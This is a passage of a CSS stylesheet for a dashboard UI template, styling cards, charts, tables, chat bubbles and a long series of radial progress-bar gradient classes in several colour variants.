.user-card .user-sub-img { position: relative; margin: 30px 0 10px; padding-top: 30px; } .user-card .user-sub-img > img { width: 30px; cursor: pointer; margin: 5px; } .user-card .user-sub-img:after { content: ""; width: 30px; height: 1px; background: #2b2b2b; position: absolute; top: 0; right: calc(50% - 15px); } .user-card .f-btn { cursor: pointer; transition: all 0.3s ease-in-out; } .user-card .f-btn a { transition: all 0.3s ease-in-out; } .user-card .f-btn:hover { background-color: #99caff; box-shadow: inset 0 5px 7px -3px rgba(43, 43, 43, 0.15); } .user-card .f-btn:hover a { color: #007bff; } .soc-cont-card { color: #fff; position: relative; overflow: hidden; } .soc-cont-card .soc-slider { margin-right: 85px; } .soc-cont-card .soc-cont-icon { color: #fff; font-size: 50px; width: 100px; text-align: center; position: absolute; right: 0; top: 20px; } .soc-cont-card .num-block { background: #fff; color: #ef4153; padding: 8px 15px; display: inline-block; margin: 5px 0 10px; border-radius: 5px; box-shadow: inset 0 1px 3px -1px rgba(43, 43, 43, 0.25); } .soc-cont-card .num-block + .num-block { margin-left: 15px; } .soc-cont-card .num-block i { font-size: 16px; opacity: 1; } .soc-cont-card .card-block { margin-bottom: 20px; padding-bottom: 10px; } .soc-cont-card:after { content: ""; background: rgba(255, 255, 255, 0.5); height: 20px; width: 100%; position: absolute; bottom: 0; left: 0; } @media only screen and (max-width: 575px) { .soc-cont-card .soc-slider { margin-right: 0; } .soc-cont-card .soc-cont-icon { font-size: 40px; width: 50px; top: auto; bottom: 35px; } } .st-cir-card { position: relative; overflow: hidden; } .st-cir-card .st-bt-lbl { font-size: 60px; font-weight: 700; opacity: 0.3; position: absolute; bottom: -30px; right: -5px; } .st-cir-card .st-cir-chart { position: relative; } .st-cir-card .st-cir-chart h5 { position: absolute; margin-bottom: 0; top: 50%; left: 50%; transform: translate(-50%, -50%); } .st-cir-card .ct-series-a .ct-slice-donut { stroke: #fff; } .st-cir-card.card-red .ct-series-b path { stroke: #fa97ab; } .st-cir-card.card-blue .ct-series-b path { stroke: #66b0ff; } .st-cir-card.card-green .ct-series-b path { stroke: #7ee3b8; } .st-cir-card.card-yellow .ct-series-b path { stroke: #fdb5a4; } .prod-bar-card .pbc-chart { width: 50px; margin: 0 auto 10px; } .prod-bar-card .radial-bar:after { box-shadow: 0 0 3px #fff; } .sale-card .s-chart { position: relative; } .sale-card .s-chart .bottom-line { background: #ccc; position: absolute; width: 80px; height: 3px; bottom: 30px; left: 50%; transform: translatex(-50%); } .sale-card .radial-bar { margin: 15px 0 35px; } .sale-card .radial-bar > img { box-shadow: 0 0 0 8px #fff; } .sale-card .s-caption { width: 20px; height: 20px; border-radius: 5px; display: inline-block; vertical-align: super; margin-right: 5px; } .sale-card .progress { height: 5px; } .sale-card .tot-rev-chart { position: relative; margin: 0 auto; } .sale-card .tot-rev-chart .ct-series-b path { stroke: #fff; } .sale-card .tot-rev-chart .ct-series-a .ct-slice-donut { stroke: #fb6340; } .sale-card .tot-rev-chart h3 { position: absolute; margin-bottom: 0; top: 50%; left: 50%; transform: translate(-50%, -50%); } .new-cust-card img { border: 2px solid #fff; box-shadow: 0 5px 10px 0 rgba(43, 43, 43, 0.2); } .new-cust-card h6 { margin-bottom: 0; } .new-cust-card .align-middle { position: relative; } .new-cust-card .align-middle .status { position: absolute; right: 0; top: 19px; font-size: 13px; } .new-cust-card .align-middle .status.active { width: 10px; height: 10px; border-radius: 50%; background: #2dce89; } .table-card .card-block { padding-left: 0; padding-right: 0; padding-top: 0; } .table-card .card-block .table > thead > tr > th { border-top: 0; } .table-card .card-block .table tr td:first-child, .table-card .card-block .table tr th:first-child { padding-left: 20px; } .table-card .card-block .table tr td:last-child, .table-card .card-block .table tr th:last-child { padding-right: 20px; } .table-card .card-block .table.without-header tr:first-child td { border-top: none; } .table-card .p-status { width: 10px; height: 10px; border-radius: 50%; } .latest-update-card .card-block { padding-top: 0; } .latest-update-card .card-block .latest-update-box { position: relative; } .latest-update-card .card-block .latest-update-box:after { content: ""; position: absolute; background: #ebebeb; height: 100%; width: 3px; top: 0; left: 19px; z-index: 1; } .latest-update-card .card-block .latest-update-box .update-meta { z-index: 2; } .latest-update-card .card-block .latest-update-box .update-meta .update-icon { width: 30px; height: 30px; border-radius: 50%; text-align: center; padding: 7px 8px; font-size: 16px; color: #fff; } .latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-red { box-shadow: 0 0 0 4px rgba(245, 54, 92, 0.5); } .latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-blue { box-shadow: 0 0 0 4px rgba(0, 123, 255, 0.5); } .latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-green { box-shadow: 0 0 0 4px rgba(45, 206, 137, 0.5); } .latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-yellow { box-shadow: 0 0 0 4px rgba(251, 99, 64, 0.5); } .latest-update-card .card-block .latest-update-box .update-meta .update-icon.ring { border-width: 3px; width: 15px; height: 15px; padding: 0; display: block; margin-left: 13px; background: #fff; } .latest-update-card .card-block .latest-update-box .update-meta i.update-icon { margin-left: 4px; margin-right: 19px; } .latest-update-card .card-block .latest-update-box .update-meta img.update-icon { padding: 0; width: 40px; height: 40px; } @media only screen and (max-width: 575px) { .latest-update-card .card-block .latest-update-box:after { display: none; } .latest-update-card .card-block .latest-update-box .update-meta { z-index: 2; min-width: 100%; text-align: left !important; margin-bottom: 15px; border-top: 1px solid #f1f1f1; padding-top: 15px; } } .testimonial-card .progress { height: 5px; } .testimonial-card .review-block .cust-img { width: 50px; height: 50px; } .testimonial-card .review-block > div { padding-top: 15px; padding-bottom: 15px; margin-left: 0; margin-right: 0; padding-left: 5px; padding-right: 5px; } .testimonial-card .review-block > div:hover { background-color: rgba(0, 123, 255, 0.1); } .feed-card h6 { margin-top: 7px; } .feed-card .feed-icon { color: #fff; border-radius: 50%; width: 30px; height: 30px; text-align: center; padding: 8px 9px; } .chat-card .msg { margin-bottom: 5px; display: inline-block; padding: 10px; position: relative; } .chat-card .msg img { width: 60px; border-radius: 5px; margin-bottom: 5px; margin-top: 5px; margin-right: 10px; } .chat-card .received-chat .msg { background: rgba(0, 123, 255, 0.1); border-radius: 0 5px 5px 5px; box-shadow: 2px 3px 7px 0 rgba(43, 43, 43, 0.15); } .chat-card .received-chat .msg:after { content: ""; position: absolute; left: -7px; top: -7px; transform: rotate(45deg); border: 7px solid transparent; border-bottom-color: rgba(0, 123, 255, 0.1); } .chat-card .send-chat { text-align: right; } .chat-card .send-chat .msg { background: rgba(45, 206, 137, 0.1); border-radius: 5px 0 5px 5px; box-shadow: -2px 3px 7px 0 rgba(43, 43, 43, 0.15); } .chat-card .send-chat .msg:after { content: ""; position: absolute; right: -7px; top: -7px; transform: rotate(45deg); border: 7px solid transparent; border-right-color: rgba(45, 206, 137, 0.1); } /* ------------------------------------- * Bar container * ------------------------------------- */ .radial-bar { position: relative; display: inline-block; border-radius: 50%; background-color: transparent; margin-bottom: 20px; -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; width: 80px; height: 80px; font-size: 18px; } .radial-bar:after, .radial-bar > img { display: inline-block; position: absolute; top: 0; left: 0; border-radius: 50%; text-align: center; font-weight: 500; color: #455a64; } .radial-bar:after { content: attr(data-label); background-color: #fff; z-index: 55; } .radial-bar > img { z-index: 102; } .radial-bar:after, .radial-bar > img { width: 56px; height: 56px; margin-left: 12px; margin-top: 12px; line-height: 56px; } .radial-bar.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-50 { background-image: linear-gradient(270deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-55 { background-image: linear-gradient(288deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-60 { background-image: linear-gradient(306deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-65 { background-image: linear-gradient(324deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-70 { background-image: linear-gradient(342deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-75 { background-image: linear-gradient(360deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-80 { background-image: linear-gradient(378deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-85 { background-image: linear-gradient(396deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-90 { background-image: linear-gradient(414deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-95 { background-image: linear-gradient(432deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-100 { background-image: linear-gradient(450deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-50 { background-image: linear-gradient(270deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-55 { background-image: linear-gradient(288deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-60 { background-image: linear-gradient(306deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-65 { background-image: linear-gradient(324deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-70 { background-image: linear-gradient(342deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-75 { background-image: linear-gradient(360deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-80 { background-image: linear-gradient(378deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-85 { background-image: linear-gradient(396deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-90 { background-image: linear-gradient(414deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-95 { background-image: linear-gradient(432deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-100 { background-image: linear-gradient(450deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-50 { background-image: linear-gradient(270deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-55 { background-image: linear-gradient(288deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-60 { background-image: linear-gradient(306deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-65 { background-image: linear-gradient(324deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-70 { background-image: linear-gradient(342deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-75 { background-image: linear-gradient(360deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-80 { background-image: linear-gradient(378deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-85 { background-image: linear-gradient(396deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-90 { background-image: linear-gradient(414deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-95 { background-image: linear-gradient(432deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-100 { background-image: linear-gradient(450deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-50 { background-image: linear-gradient(270deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-55 { background-image: linear-gradient(288deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-60 { background-image: linear-gradient(306deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-65 { background-image: linear-gradient(324deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-70 { background-image: linear-gradient(342deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-75 { background-image: linear-gradient(360deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-80 { background-image: linear-gradient(378deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-85 { background-image: linear-gradient(396deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-90 { background-image: linear-gradient(414deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-95 { background-image: linear-gradient(432deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-100 { background-image: linear-gradient(450deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-50 { background-image: linear-gradient(270deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-55 { background-image: linear-gradient(288deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-60 { background-image: linear-gradient(306deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-65 { background-image: linear-gradient(324deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-70 { background-image: linear-gradient(342deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-75 { background-image: linear-gradient(360deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-80 { background-image: linear-gradient(378deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-85 { background-image: linear-gradient(396deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-90 { background-image: linear-gradient(414deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-95 { background-image: linear-gradient(432deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-100 { background-image: linear-gradient(450deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-50 { background-image: linear-gradient(270deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-55 { background-image: linear-gradient(288deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-60 { background-image: linear-gradient(306deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-65 { background-image: linear-gradient(324deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-70 { background-image: linear-gradient(342deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } 